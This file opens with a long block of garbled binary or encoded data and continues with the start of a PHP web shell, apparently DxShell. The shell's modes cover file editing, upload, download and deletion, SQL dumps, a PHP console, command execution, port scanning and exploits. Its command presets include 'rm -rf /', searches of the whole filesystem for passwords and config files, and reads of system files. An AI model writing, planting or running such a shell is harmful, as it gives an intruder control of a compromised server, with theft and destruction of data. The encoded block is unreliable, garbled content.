z-K=j`P`)B#(9r}5(I8?TALz_w%h~F)Fx`5GpDF$TG+u>C^h=&gs=pZ1IwZ95xNCzu zRH@yLPOATW8xkhIQqzpE4!i{a#HEZZ)semt;sDc<_BTEV{Ne%*{ByE%qCGhfSVS{R zDu1Cb-$IlWuy@Gug$t}(+Y;B=Ws!k5(?QC;H(Wfi{bO!PLyyF zV{Jp-1FIn2xA5j~<%b0}h~nX?jfy=QO^8$Wknvxndt!<2zf`;#e`+!H?>bs!ox6mo z+$GBzTnvdtL@?l^)>_dgtQGaIMieEIjHg>a@JZtB ziWm*{4ImQPNHl~=ST&C{qcFs96@>472CXCF%L~IsM6EZR2eFcA6ptC9k7bXj0ZcFgVwEc!m2v|+mRvu zj68u;(c#aZ)lsjb@zsiQd=cZEty1HGkckwvs^?8<>kmN4yUBoUBs)aax`i9Ij0?Th zG%h0B^Fp157=67iif)pQfAmt{x~!ZClEo&;P9AWu4@57Hn*C2NHJls2^V+fm?6Y@8 z{!;6bm;-$4MP;zgMX0vUg)0Ge0#Y`UOmkD1#~@#4wyJ2W*q5g!1~QSqe65v?k+um* zR4I&K4B}OrIT?QWHMJ(y58eWjFkkva{5*!7VqIti+v2u7;P5V}*-RDxou+m;P*r3S zB7faoA}AlGv{*JsIQ=vpt-NZm#q5FmQErhT)zgy#`86|&2_fa-YWmk_ON6F<07wIu z<2|42X|DM#L|n!;^R*$OHsURs+LR3wjzE1p?V}nHzc{b(ujaXmOUuz~@YMK>1oUUq{kwjd$>BUg$E+QCJ*(U61`+aul5t zi|@gb0PJKTs_`(ZGvf>aZQFkJK;myyb;y)Bcl^b}g9*`x3ClB#Rl?!6i6K57QR8m9 ztJWm^Ul?MFU*UATJ*M)y(qdbPb#tV|&9eX3_kMDl%4wKfj$=;%{jVFm}Qw6#VmeQ60T9YOiPr2}^?^klF%H2>gDZ znrKfh&gGd!8CjJ-^DW;(oaC@~@HnU7=Xg`wWg(2KPl&a2u>SP?VP%VeAhJaWi!Rnf zUU&2jS%de6nM;IW7&MVOo?jN7$%}*?3Pg{@kM&XfT)TnmiIynz@>FZ+E3E4GN(^ag z8#$e&FPWIo(d*50N1iw=)i1r);M=&p_FHSK7FD*R?Z)>@aW9GN)-}PxRov(9kxbBO zY7t~1FeS+jqjAsk>QU?$rq7zGRsCjLR5EPmT+)Tch>yhdiNd3(&~8uXzGK|84RiKb zn9%9Q%dp@Xj<)ZePnw|h%eNl1^$pj;E>QZw8JmZhS%HLh*P6Fcc4k%}ZKFo}K8$$` z!`GExn2IDWi%jF-?raZQ-eJXjNcWdco)N_8)(iVAL{o%H24Yn+9@;I2St-gXLt1Al zz>)XGWZn1#J`WS%%i9kOl#y?;V)P4-`lc$kdK>ImG^An#PjtS3QGPr=filbnWv ziUfzp$InGO?>ph-xB0JpFBB=O*;qe2Bp1=qZ;8WgBdQm_vUMGxU*_cib!6O)Z;m*%R-2QI_qV z7=hQ|-Zvu2t`+cS;Vr}*Or1|$^(w9{IsQfRO3%ap9g>YZ_VTA@{N(Kr4Z3i39co?t z=XC;MD8OO2eqDT;%Re>ar(XGVc)8!Tt^J~z;w%3l`#Y}WqNFw57WFkvSR1xgMuSlP zJnGJ|nENO~5++#Po$}RKME=oV^(|V))o?N_P|vDtbV>`2=(1{!3~TeU*O`$RK6`}& z)=EXGfI?Fm>1iZuScTSi9rL$5Hl_F)IXG+u;;7*5syrMVGT0BCuBxPo>aai zOh@nATGd4eUh9dPF;ureb^okvVdb0NU| z(O>46P0jPz;Xhm+^Tb(y%J56`hJ_VRG&y0cga6er)c-4b;+U%*;e3eg zYZtpjk={n=T`s-F`+gcz9O0eu)_^-=hoJVY0|XoaQfiB6hXi)R_nuOYj8u8l7X_CE zvHcjLPLmtcJ&i}vT}|3~z_OEq$xrj7AR1qk%uhki7?R^H5wh%jdlFv!T(M=WS}(LC zXHGXQeO146X026_wB;7?MFKbENo*e3&|8W5^GA~J+|Pc!8hCgWa?HT)4+?f9!17qM z4esOs57iy(!xEX8_cpDta4^<#|8Vrq*xN8*^axfR3$rn4K_Gg|@(wd*-dYn5wc&`$ zfnRz0E<8EbKE8H;qwFk<&V<=Zk!nhACtA8ES=(zJj#L+`milZQDX0tJvo$fR{i{P$ z?X!C=1biEyE! zvxeUj8JGW=cQ*5(%-aZxwUl2y+WK-C@%qh|X>u94%+1Z`e%J0?dpriO_K11Ex)$&R zzHK{heFF%Dzs)K_Sqe!N786Q5^dU~6XdcI|h!IB5Xc!gVo7f4<{*|!e%NjFE*Lu*q z5*9h`8Axs2w#{DBXGjTZqd|lUT>;8NR^EDBXY}V(=qTUIZ2yUSJl!wdOXDUy|DgpM zM&SiwW&5jZeF}2Mx9Nvi+gkqONwsd?rx>k77!kjCZ;Achrko)b=RYRxe})<49Da6@ zK&*$qcuM(<&Ty<|vy?NJrZ24;Y@|O4;e9eyBsq`=+vwX7X}hZ%1oCBL6>^Xm5}_hX zm@Nc}-v*ogmDOq9yn@?}AApB@#lcG4MTdxsnun6dhy#5ca6R=)_vWQzFLd}F#*o0e zFqVf|98!-Y74IR4#>c?G&OKqAva2PGAg=clARR~CXYv^itX} z{o*-J-zjdcy`~_^zsFXrvFj;y+x6A(Z=nkgpt3B#*5G2)s)kfF;NfV5ms5n1tsR0$8_S= z^P`4)&?xoP0b%3_Dnag1F_*UyPSfRW|Ek$C$zQ@BoU=(qYY=P1;6qYD#;g^4$bZ0? z_Q=)vvSKDNV6k$5S5KZs{cX>t@K%(gQBF z1`I;+0v$L9XuEJA_W~ZNO;@mUS$#OUc5xsp$C6_(q&Qs^cIeGl|5e;d&YUzfl;Lc1 zvMMTU2Hy~d?JrYM+q@4Py8b6}KjtwjoMnpGqJLqM^BSFZA7KsuI^?p;CjTx~`Dc9z zZ|nHiT`{wI{tZ~p!M=3hH4RkNuCF8-BbDyMK<8{D=LnEwYFt1`^kEvItCDhwA1=9*o698rSevv%4KK;Da~<@?rWhp6-2uoVTkSO>5UEjr=AKi3c2v48yH&bS}%V@QMW z^@rWr5p>d?vACza0{dzCau?a}NvQWQ@~S7Mf@$18SVPPwf&?O)HH zDVfZ8;U5A%VeT1*`xz$D{2^O#)~2ls0Whlf&!W@+8m<0c`8Rsme=c+`jt`8pXV`8) z$^Dx@Kv$l^N{CXemaP1}TlR8oR6(5nViA^E9B(?+`=yo$IUK@L!BNXA-FcEsT?Q+J zb31nWU&YeVHd!>=NP>uYP8RC>Nsf8Xd7H(BM?|!^esSNxf(0Kqy?eDJ&tTIO*J5By zXVW4CLsS5)&j4b5J~*bYbL@JfNY3ND=!$++OnX%3VmSI>7pqOVe4V3O9{zb{HB@-S zbLUW3;ulXTC!x36k+6}-^mr~Jl-l>4)-ikbF@sA79cpww$c{`CSAS>N1k9E75vQ2Z zQq1Jd7dQHqhoDwFy1)8{<3Nf9CpRhu>G`CLQ!Vv;d|=^&;2Vy@VZJdr$EWsP>teW~ zaiUjL;`Bs#*cc_ePe0V?1am=T+ z?pf{2k&nSJSOIXwq9^mhlw`$_?;*14Y^ZbH&^DBgo> zzvs6t+B0t}eA-`5*hV-rBe0~sXKPYbQaLk<)WmJ#kBuCD2_Zb4;>ft(IpxBc=u?Iy z)~{{t3g-2zk#5+>6(1y{%b7qd`$gPnqyl?vOYt>8#nI`8C#E`s5@6yDEaK6Ugb9{VP zbFY;X>t#F9_*b58J@^wa`K1>L3p|{Rh>&g#qPYp8Hl8?Qw^UQ_=n1*Kd|8j~0f87D zFNDXsmtwlE39dne)alQkO|x9tgZQSLE}%*EiLcJ&02EqTJ6Kd)G?udB`2Y#76xS;) ztclwy?Ak}lG`N&NA7|6A2dh|*4=FOfixVl$^42j0s2p|HyZ{F9Oz};) z0tKqo|r(0H4?}Ke5uO(&Jn3pxk1kW@!@c@CdD5 z_Y{lhO)b>Y98*Yw`vUd4M6>3>H%o)dd zJA6WWS@9C*y<1@|Npn*g8$!%3WO(n`U#5IK7#6`KJJq7Vj5i8dUBK>Kc~6boynn}m z2HYSQTZ&Yl;h=XHXVy_JGuutf%eP#$viunF|@wu=-b!7L&^;yX%cE z*&KGe1Q-ALpk@m5Z5kx%NJcYHsV*C$W=o7GT;#y-4xA%Dz?|?MWtRI28ep*M3$$@% z&JS6HnufL_b#HYg`#%*{G|sOQKq#S^Wu$E24)gs$>k@mb%+oD4N|In4XK~-!o;ckz z=W+uaZ47~&S1fCKnK4sOM_X5cH3`kkf!a)yA7A-2klsSHPPJ!BbGcdlvCw8xqWWs3 zaI(al>L%;+lBIo4X_vh2$W@fVn%30^m;)uGI&tGbV+2v zR0owdMIsFDA~hC{FU#%t=@R{ts$CZUh|`pwfi&-%UVUj3r1;S-Y5LsUCor#MqF}xh zI*#WmI!m^q;zHk9C)N zF;wF? zzzP7#Y95V@C%=i)V7VMmW0-U`aQp@Rd(rL^d~hBHGmm4OQqpI*9l3we7si$(qlDVY zxniYGjjZ7laX`^w8A}^VwdnBCqa8^?6Bh>Z@5SPwd*ZR;Age~qec?|Zaz36oXS*c*MG_D{Q^5+A`4oYy{eaM>q z9RvqY5*$pyB3FXS>#NiZHyrGlZhk0372br=BP4BydKp+nFiExGw7+fIGHx~=dfJM* zFEZq;wq6T7doXrFJpgT$|5p(5U7?Tc<&#}k*QRxz_i`qYsJc4A^`?3U?}se#D~IM_ z%~s=M{gQhzYj%md=k^m7sdW#v1Me>XJ>;xOpY+~bKYQi>@AQErkJl3suSnqa=PwY! zuQ91o57~!4GC1&(^WS*~JZH&j=eDz_jc+nGlKyp)A8j{!$w6nzfQ0~^Q3Lr3KbjcA z&E}m#VN$Zzt!c)#l(f2m{)7A^c8WmgCzLkty@DL1-TdoNh^8hOmn2b|+&`CCPtFh1 z(cw0&A2%6luY&%;t@xscQO{Fh%-$#RR;5X)HNY3&S)W$Ffr2X^`!}0;?2fjaIn+E@M>hj4S%&* zJ-Pd)cJx<75UGr}W*-=*2+*jc*vd<3GtxosnU3FWSj7l#>XW}M@=)D+d>3-sSp3D< z-^;GtU}SfD3uV=~7Fu1elc-|>x$h~j8`CS}|5)&o*WN;*><8FWqfjlj!h0%08S?0n z^T84vHET1UdsM^qMXG9UXMQ*?lC`-5pBeBSy zM|I`Cwi(`>l#k?~e5LhNC8dVwEpMN#NfG+Eju!J*5P*YX<0^zogy1Synnwk!O|XfH zHqvjUs}5ujuw9>?pW}*|RO8+XA8RMivSKiTL1RpV>YUi8T)eS&CgQ=UEcD=6^&9T|gcRKMOa0 zC5?V%6w(uJzD~J$?mA^yh;UepZ~`90zuB;0`lR4Lz1WQ`_AxQiD6oL} z`YQ`c(Ubnu&|^x(F2KFeFGbqconYdHZ$eJ znK|VKNHZnl<4vdA7A$)$_Q^#6*)G@@&JP$F9~AO`1xcml>!S_X+qzQPnj^?`7rmh| zY*5U8^Z^V!a0|{6A%{nLlp5EL;EgGqMIc%e2b;lX5eUPm-v=N9*}a_oZnvYthitu9 zm|<9}cOhA!kAbj-lYTvb|G@*?jt;dqs+Q^Hm-O*gasd}dLvn+;iZ5$bNcxO)n#G14 zex}3-H4#?GM((c61y&{3ae$#)tuAi*<^PScf zA8QpDtUP?d+9F-YmpihM+UC%mWOmjZf0=mkH7UUx;;6>D{=xw_#X`7#onh&_Na|L{ zwpr$;V}d!Y;~TE7EPRertW6P4Fno&iU_|Vl#fVPW%ohte$y2}Ujr%8!Ex=<3IWE(> z%N}sI3~*J+l@p_LAQSoAcuXZqA18-P6WUIv==T9Xqy@g^09vR?_#|TbG56T?Bl1uY zYdX}JxRn|V0U0=t}<(pOwSttRdhFh6}4>&GiI7S$ze32=jM51-u z7vRJvF{@9qOFRP0=1UjARbMc$q`gni55V#c5Es)y)~M7A;Ow63dq9RR2UcqdG0UGBf0%16|6%XgW&-bC6DW2MoT^^S2Bt0ySoB2YrhVQQS z{)Xy%8kj>BRJn3UVKwDu5Q_N6&l~e|PSqRLXFZjlE| zU$E61D-}i;s`%XIO($Zz{lZ>8ZoNTr`C;HjLT+uyQMRi&l9<=6@WaDLdQbllM7Ru3 zp{h-|p=lP1N?m1Ys*bshk7$y#*dRwcUC+8xHYtaAXXyh+h;irVhj1s+bq%nCg7#yk z6XmmeyR*M6Zh7e0H>X!iP?ZCSwvO(kPX0AoDILVCi$raBnCwby?JR6iMof@5z>wvRUeSLSyJ~Q^C1r>n; zYLG0MM&Jl_)V@=lalpeN3s)?9`GmgJlG@I@+@%g{Y+naO*qG|o^^9PcGtPx9)NYcv6X104 zY%L{tba*iDl zha0HFr#~`Mrm%7=NK;42lyQ^?T@!;}^LVTIxpMkh)~KHTBztnMpBiF2hC{0aKf7M9 zlZ4cPm+4bxd_G~Pub}43h6AU@ z!jtk$+#>Z*d4TLW2q5zRzjgJWa)2ZBH(d8H>w23|zcjQ?b3N7(nNxzp#7y{h`(m+S zhXA>LqwbfRm}jCGSK()}Tmt^0=)A&3OXZ2`>292<` z?!@<(mmmnnN#;b&1&zPbD;ipx!f$GQL+gwV!(R;WLZe6wGvqR&k~Y5#lgHzwkm+8=;I&UUGzPkV>4<4B;UO{3unzAK9CRM=4WSJ1bd&L^tsL8C@#(J6a) zW%^wj89Tn{z{efRcNR$jw-Yn2@)7+w0IcmDcoDeuOz;~g!y0USEL*IcpwtG`Xs&qk zowFnD&%VLX(q2L5BaG95&S2kCHUN-2AMpU_1a=N{18T*MM+K=zzlGU=@>b0~pa~h> zx6B$q0LR`u>pJ##Y@4;ozUW0^ol|#{$*P*n%QU)~e+1b5S%LLuM zJ!sd>*E0B*n!*rpq}rTrTFVS-mX()%z>q(9e7zj0hI zZ&jA0mj-+R{>9E;2~-nTx7LYKr(ooWM7;@`s}~nG04y;<5PE7#lL*VUVycS9Kc9RL z21Z*a-1@~5Q&aUkJv+Pj7^}`iSzrFGp+=-X1e-geU4?kz17SX=Ix-?YC{VsUmazMk znFAS@->cx2U8;%^m9p#HX8~ z>Q)(5Z~=U+n>SN;Pkft8qgnPjIyZ&=07VQ2nPhd=ugq5Q*o?N$5_ik&jaWemYX&$P zhsR`_$Y$?VV0^Vd+;3u{{A3(SHqF}V#>qq9_|P~4E}>VPEN?&{k_0XD8bC!ei7dg? z^kD1eTkD_Y^goHi2UTnhBJn14CsWy1O7DI%^$RDgd>j3AGpqdxuWzlsV!6Hc&U};S zfj9KJUv&&KMwS)FD9G4pSSkHw#9zV;^%kYUyL4-KVM{k)krv6w(-SFtg7ri zFQLf6gi3iodl8%48|^FMvVtI#S+c};2T$NWi?EHT%a`LRnsh52M-? ztcyJD;!2mb#RFe*>Iv(87_IWfT)uJ`>5Y3rpcpgVsGbHDeeYd?RxOWTyev}VR$tmq z@4C(Gp$+=(gc8F(u#!#9CTiB#p<-x-Gf+l)LPUk2dO2KJBBf3GtEEabfFy?D&c7rv zCx4D-bC3K>VYiBW4=g>Mvqdotg-K@Vr0CRu;{57a=xIEwNiv(#eX8ZHk?hpGU+j=7TeoH9l)UCJtzeaBCTF_vNqQJBKc8|S($J6p^BBF zEe7uJCfz=gVz;1fUxO%egUSi;-NC7vJ6TpxW+SgJ(t=mU@ zlBvwm$bHY>pIX3mn=5*EvO_Ql`bAHOSItkWzDAaX+V;cr5& zc@|bt<;`N46jLv(z#@jrD&s(s>#gm*c#cMJ?S-f+~uWi$vcuc?V-jOY6(P;7Mjk!~rP zmUvH!qnvu*mUe0(W2UL&A%bCez;D+BI9xK(GAf@KzIgdpdg(#I1xL z?6#63q?SF%qrf)y3g&J(#f_`m8ca(8(F&at@iG=zNG!x#9VE$bVe7fIvUu>~(FG9( z^yec}|49PQnAdL|uiup4Tx62m*xhsS2p6{fcwjjz>gs$dZ>k6`f27lmN6Z@&T&ln* zo*RCu9+dH_NI)Y9{wjLpefmXCOtD{QD?Rw}v%zTDNUi&KIQzTF-l8=sh(Bx#DHpql9HZP59ki_hg( z;DAvifzIdfzfQ4hIz<6nN*ow&@I_j0K6>quX=X-g*Pct&$%Ia8dxJ7gZY5gLrM51m zPujHWmG}drchZgM+h&b#x6@v(aP+55%#r&Y$n zTItXTHzB(?OX`_~eZ~rlbzPBtE}5nWJdrJJWJ#Hx_?v^7S}h||!-S>`jLzgY&LcV_ zrklq1%HD}MvKEF4WkeRN>pi>f#sUPPyBZt`*VAZ}q@pD5<&h$%lF3Aa=iD4q8j@H3 zC5_RDjjoutug*P>qiC3XKF!7pA&HbISgUjv@o`X~cPDq*-Jvd2N*UKNCVUPu2{X~< zxWx!}S=td9YITfz&3y7kB7^>O?^lq+1zLs|6W`6J=fBllaUS#fp?>2~_xip@7g9^7 zT61$)OXTf72OnnnHp$XDXsF|2jy+GsBdbO9c8ayb%bYVe^NC~BZiNDj>h8OiLW{vi z+rCdy4+t+FnlgZ&OX%eoxh(ti%?mBHrgXi8#^BgCWq=6- zvU4af!hM95i1Xw-0si`!8%15kP41M;7vBE6$>w)Cj^&=?UCQU(MRz205g*ixz8p%= zlz7+U0DUKpV{>3O)3~SytS=P%$1pV+E4H5UqD*=;nTpJGx6_I(#`9BbIOB(gmOS zG%vQ2YM7H^5YU|8?XUIl@_fm#h~i~d_atPSDud&$Z22-3xlWzTe8#-_YD6PD?)Y-! zd5+AYD^1okPu$Xz#u&{s(QE_4*|97%OJdxBBt{B$SKlYdceb|0k&a;Og4A>8zZ@`_jmB z2$DWjyOA5VI|Zz~|f35nug(puH5GnR!U6{DP7>82q|Hxb$ z!=VT&n25+4I4ckjN_EUQ0(xfr^QB&VJ3cBp@8}?UY|FCdkw`v4*G4J8fo+H;WJA!e zAavX|-yPE0$g^ls;>QPlb!r=}M+@ZUe&L6^`eZ-WS znYI{S5@t}}V%O&w{Un7wCouOJA8y3Slcv?0fxBJCmo1YYV5NRquaLM4a6Gz=)@$+~ zW%FY%-G^}WB8#o5>!{R)j}I^lAhIJG5>0eD9k0*Ev=j9aQSbJol6e@MVw2-`WraY* zO>h}*JA}UZ;N&R)a@Or}YvssCsfekyJS1_=+3p--Svzs($5nYx<}to0GTQ$p(HOgR z!k>n;SzeGXXF6nq-K=`63Y9QM?)5zB6T3i!&v`s*t&nGR%J*7=4B0F)8Vo*5|2yl% zNC$-=g=BzGRl4sGk`zg;tz(f5;cLUjVvBYaF32Akk6!<`i74i){{RVIbVQ!)13adw$&zN$aj7HUca$4H=vktX*`-LFl^Bue zPCo}hfew6`2E&#-8qm=SAhNs^;BtIyA68)K!a9Q6bU^X^yyr^5VFfkZ>^^6>sso za8S&(fnA){fR+`fNR%xdij-tnKUt#N2*>Tuvbgf2cd4$S0DZ1s*Rwl&r6=xtP5Ej= zB-yet%XQiug>E+mhnP{y14G5fIB!Df%9>JGkhZjScC;(F9YbkzO*qM%M3JZd9*m-- zb~59#NNhWOw%v}t(DIWWBp;2`V^V4T?}Av$-`gF@A5Ksut1I3a{GY7lcNx?F$y)wT z*76SuTmDOBEk@LDqH?$5voxk+A1D^5>6#aNpW^2iFC}C@;kD#Bn)jIW?x?@b7Ei$^ z*y@->-1XZ_fA>KpxXg`*NrQ{_)7puWZ=&i~`Eg!*QMImrmwj7x40-$!S)^ z7imR(1rfJ>4$q?S`}~?VIj!h;!q0b`Nqwvdz6rR}mw|fHxXnk|^zU`YYx)GK|HSOMOre?;hTemuXK zRzzDrk4~b-5@tT&09YyVD119oCod0m28sY)y*UKOcDtAJ4KFsD_IoTacL(vI;aV>+ zqDZ`+lKbV}BhGaQ7>3t$pu>}rNXVwbj0Kt-AI^9_mKu!SU)v8o>|SFnc!npvXF8t8 zk8kM5Ax2-)MtG{Gzx;VJL+PneFoXYi)FKf*4IJXDKO`)c_bQ*aurvP}-U}(j6hFu5 zSINbNy0k6QXMIQ{D}X*E@=OG}RYz?oEi17zzPpp5({royea|7tdKsb*A0et0uc_<_ z7KSC)Xt~XoQ&3w_ItI6aQeGY{q=m|Mj219$0bNJv91qZpbtkFu&CUXam)9(-b8q@` z=VezW(-N_}?dvyG@z8wVV`9nnLo8_6_gA$IV~3+NbsjZN_ifOnj@-R#+FR+-%R7U$ zp=Tx0@hn15qO;}9_cZlPDdR`0ZTuWO9td=-?e=I#ztK>+YmLz_M&s69kk{N`^b#DM zwBM1()#r>+j9YybtmfAY_X;)tZ7;P-v4xMQU5x3w2YlRlemtxn(@G)#mVfh*t<}+qpN2J zwdKo4)Ix7b()u^bcSW?#QXrC4F(!uQC=`M16q})?AFS&M$*EUs$Z!22R znoOYQ!S5Zkn-g}i|5Cu*apS%m%*u7vrx+@at!#D3XE0DFYv{H2Oiz2ryebOC)cXqa z2ooS?Gp5+vsFB8RohmHTzhC9l!CK-(1yM!mu9=NNoSmzZbE`_htox-KN&DW@ye?Zj zQ(5`Zrsrh;-i;(hbHPRHO=$KdKSG|gbjusYRz_BXk7fEbM)Zph*VWHkq6%-$_59R! z6CAmd``Z+jgM8GuQ!s`+s#wI^Ga3-ekk7*KDirijesrJ2{Kh^XL&zlrwD4YJlG(D{T@cUf7kkuw^6G5H@i!KCGSGu z@>3y$kq?`fm(G03hfFlTSqc9T8si$W%1p}wEv+$eJH&w?uA~Y>2hD3J2N8BC`+MIr zd}#JU68ED4IeHd8Lu-0n^qCyJd*pNs8g7k1kU0OEJdW=gHOB-P&N&q>g-m$t(N|yX zzh-M&IIbb(j&Wv!3EU50X&`&G63h0jd2)jy=IeoA>=^v&FP{q`oCBMS>|t-{7>@-Ouf&s5q6*D3iPKDgIU_}uC)Aasdwl+cF zwrf*IlT%lQJ5^QbOG+Y+n}^u0vt+@n)yMDLFN~4cbp)3=h_z9WgpD$Jpu@CSis>q2 z(k&^Sz(!Ge(#RxS5R`p<=*v&ggfv*fFt$B@g?UekG?6MNvW<_R88yhQ8EA<@xaH~4 z-rr%R_Ix&AA&YFKjK9q&&&Zg#JZo_Lgh=~4t6~Lg)wAwrtM8dH?e|IYuNWHFCpdBS zKT`bsu&tT-1!dzfb%Mtn7j5g@miNGb1=yEf^O=CUPiVW(fKAhlrgC!dw}HxE8&mwWHoXNIMP%m=9Z zMjVjZw_38ywDndgAl!>BEux^vOOY2?8o3n)Q1qkkI$kwHbRm?7jwE|VrUc%Pb7&hUI_IRMYM4?CIm9T2Qfw)VyT3YulE z-`KYRB&&uw?^2b#Lhe0Fo$^VpB2To(F}K{E;|;r@0U3T*+sNJ6^_f4r=f<}1%7p!Q zB_a(bmj8%% zZqMbki;iySE}qX-o!@6_d$$g)V$D;IZLAFMT_s|mx95u+)`Z}r$~b?l*S zP0k)OpxGPr$s3sF<_V`&pKkh~0Wx)ZbJfcvJSOBk7NM1=d}`*v#C7Vv?`tr;&-1g^ zUKKy?Wj0KH{y6i?L0#z@Hany3mgRhaXn)GsZccu1wHV@M*)U{jPm~~ulW+gPA>WUy z#t8XlnWRkNPxv%-`}3RUm7CBK-hYozZ!O4oGzJ`%*tIyhniLf8XHUC0u5Rg56$z&( z8gFO+fDy|%I48&%avGPBhPl0Okd>3>w;KnF?9X3*!*%TwKX&N+mAU*6xJQ7$@aKQW z&s9KE!nYfSSjVkh!KU4c)K$Z^&q4QAM>DpqOWdnjX;oWjFmz# z(|qM6801vDi}L2P&$}d4YW8T;0x^3_5(33$@8KHj>nU8~FdS(_7l;UCTE`o9@M(Z0 z89CTBrg2y%nGbzRVryU-eIhHF!qbpLis-oGk`x?GD@B=W;);XzUCQn!z(Vxk8%Vo+ zc7jx9`J?CBm{F;}vq;(E1EZ_&376NxL91s7mpypy3@@XNSWVH(%usr}7gTdHKGB*p zZ3QZ>xmwKVxUbGjiI ztNfx;^^l0HDT|O#x3V5nIgRjTo^?kUA%aT*vikgO><}<5-teK0LX`XkK~u$oWc*JTV?a#y`&u+;A{BsBZYP>3l_rfTeeFL| zM%?_FP6I%MbU2d>`X}08r2MiKQ5!v8&&PS(*~q-&X&-P9OBotR$SXJ8>EAukxSb&F z0vlsZxsAW~Ah;O_#|5Y<_6i%nXq^Jy$h6>iJ39<)<)Go|RTkDd-RR zFqQ%xeixtTfyq31+&Kg6n+J}LFwdk$E@CATAEud*8T`Y3dD?DG;^X(;vZ zl-5cN(zR`UR3qF2Js=YT6B7)x7B-Tv7{{}yRXR5Ic>(X>KVlg&X%!svE#1FO%?v)p zkoVYWUP(xH!IWMMN12tTiHcWKHnCGR2@GuI;!agkEXsC?HR`{Ahr)^TvRz-%s=4Sv zc2%jzAgVJcI;jK-w(rv$HAoaa$U141b=?5EIR)_VhR3eV0NyghfW6j5`C4o1YOo3$ zS4QArIHpD}eeyajmjIY^jl?Q&OA$#@M`BNRBJp)%jI$k{k~kOe?&sy@b075DKgE#Y zpeH_4XSEk8DJ7)iXOcQ*l6cRq2^w)nysU{pIhzFE-H1L&Xvq|UJX(S7^jcNqNgqL= zJHW$^Pix7a7KbQyc)2s*8_@fu(MbkP_Tb>l*cbPx@oi=7cbB=(~@%kg~$ z6#`XV&GIo)6_br;U#CrC|0r*UlAUmc6{DDl8ZjL^wKI!2<_i#^L(d{~oT?i@SC3w+ zY$B*fd2Pk}90oCMjTyOmSDwGnj!evc1Fuzm-NCr&4$UpLD^~>P0>qh@`5|}urJaB2 zd}8~r&L@h6!?K4!d$n*R3`s5amBWJr+%{v_i zOH8c!gpbc_#8*#}L8B1{R2s8yv;PHt?LAh`v^2Un zZ8wCPZGaT|z=ZG0L#In~1CZ~HLZYzpVZdW+YgXU-Zu! zBW`Kap2BF8M<4|IT~7&|gAoPCoT+Rds8~|l_fh(s;PA(3ZStUtM2$7i4%Y?u-+7U4 zULi65GT^p~GaDi4qO+YD+kEm9 'AboutBox', + + 'DIR' => 'Dir browse', + 'UPL' => 'Upload file', + 'FTP' => 'FTP Actions', + + 'F_CHM' => 'File CHMOD', + 'F_VIEW' => 'File viewer', + 'F_ED' => 'File Edit', + 'F_DEL' => 'File Delete', + 'F_REN' => 'File Rename', + 'F_COP' => 'File Copy', + 'F_MOV' => 'File Move', + 'F_DWN' => 'File Download', + + 'SQL' => 'SQL Maintenance', + 'SQLS' => 'SQL Search', + 'SQLD' => 'SQL Dump', + 'PHP' => 'PHP C0nsole', + 'COOK' => 'Cookies Maintenance', + 'CMD' => 'C0mmand line', + + 'MAIL' => 'Mail functions', + 'STR' => 'String functions', + 'PRT' => 'Port scaner', + 'SOCK' => 'Raw s0cket', + 'PROX' => 'HTTP PROXY', + 'XPL' => 'Expl0its', + 'XSS' => 'XSS Server', + ); +$GLOB['DxGET_Vars']=array(/* GET variables used by shell */ +'dxinstant', 'dxmode', 'dximg', 'dxparam', 'dxval', 'dx_ok', 'dx_gzip', +'dxdir', 'dxdirsimple', 'dxfile', +'dxsql_s', 'dxsql_l', 'dxsql_p', 'dxsql_d','dxsql_q', +); + +$GLOB['VAR']['PHP']['Presets']=array( + /* Note, that no comments are allowed in the code */ + 'phpinfo' => 'phpinfo();', + 'GLOBALS' => 'print \'\'; print_r($GLOBALS);', + 'php_ini' => '$INI=ini_get_all(); ' + ."\n".'print \'<table border=0><tr>\'' + ."\n\t".'.\'<td class="listing"><font class="highlight_txt">Param</td>\'' + ."\n\t".'.\'<td class="listing"><font class="highlight_txt">Global value</td>\'' + ."\n\t".'.\'<td class="listing"><font class="highlight_txt">Local Value</td>\'' + ."\n\t".'.\'<td class="listing"><font class="highlight_txt">Access</td></tr>\';' + ."\n".'foreach ($INI as $param => $values) ' + ."\n\t".'print "\n".\'<tr>\'' + ."\n\t\t".'.\'<td class="listing"><b>\'.$param.\'</td>\'' + ."\n\t\t".'.\'<td class="listing">\'.$values[\'global_value\'].\' </td>\'' + ."\n\t\t".'.\'<td class="listing">\'.$values[\'local_value\'].\' </td>\'' + ."\n\t\t".'.\'<td class="listing">\'.$values[\'access\'].\' </td></tr>\';', + 'extensions' => '$EXT=get_loaded_extensions ();' + ."\n".'print \'<table border=0><tr><td class="listing">\'' + ."\n\t".'.implode(\'</td></tr>\'."\n".\'<tr><td class="listing">\', $EXT)' + ."\n\t".'.\'</td></tr></table>\'' + ."\n\t".'.count($EXT).\' extensions loaded\';', + ); +$GLOB['VAR']['CMD']['Presets']=array( + 'Call Nik8 with an axe'=>'[w0rning] rm -rf /', + 'show opened ports'=>'netstat -an | grep -i listen', + 'find config* files'=>'find / -type f -name "config*"', + 'find all *.php files with word "password"'=>'find / -name *.php | xargs grep -li password', + 'find all writable directories and files'=>'find / -perm -2 -ls', + 'list file attribs on a second extended FS'=>'lsattr -va', + 'View syslog.conf'=>'cat /etc/syslog.conf', + 'View Message of the day'=>'cat /etc/motd', + 'View hosts'=>'cat /etc/hosts', + 'List processes'=>'ps auxw', + 'List user processes'=>'ps ux', + 'Locate httpd.conf'=>'locate httpd.conf', + 'Interfaces'=>'ifconfig', + 'CPU'=>'/proc/cpuinfo', + 'RAM'=>'free -m', + 'HDD'=>'df -h', + 'OS Ver'=>'sysctl -a | grep version', + 'Kernel ver' =>'cat /proc/version', + 'Is cURL installed? ' => 'which curl', + 'Is wGET installed? ' => 'which wget', + 'Is lynx installed? ' => 'which lynx', + 'Is links installed? ' => 'which links', + 'Is fetch installed? ' => 'which fetch', + 'Is GET installed? ' => 'which GET', + 'Is perl installed? ' => 'which perl', + 'Where is apache ' => 'whereis apache', + 'Where is perl ' => 'whereis perl', + 'Pack directory' =>'"tar -zc /path/ -f name.tar.gz"', + ); + + +################################################################################### +####################+++++++++# F U N C T I O N S #+++++++++++++#################### +################################################################################### +function DxError($errstr) +{global $DX_Header_drawn;print "\n\n".'<table border=0 cellspacing=0 cellpadding=2><tr>' + .'<td class=error '.((!$DX_Header_drawn)?'style="color:#000000; background-color: #FF0000; font-weight: bold; font-size: 11pt;position:absolute;top=0;left=0;"':'').'>' + .'Err: '.$errstr.'</td></tr></table>'."\n\n"; return '';} + +function DxWarning($warn) +{print "\n\n".'<table border=0 cellspacing=0 cellpadding=2><tr><td class=warning><b>W0rning:</b> '.$warn.'</td></tr></table>'."\n\n"; return '';} + 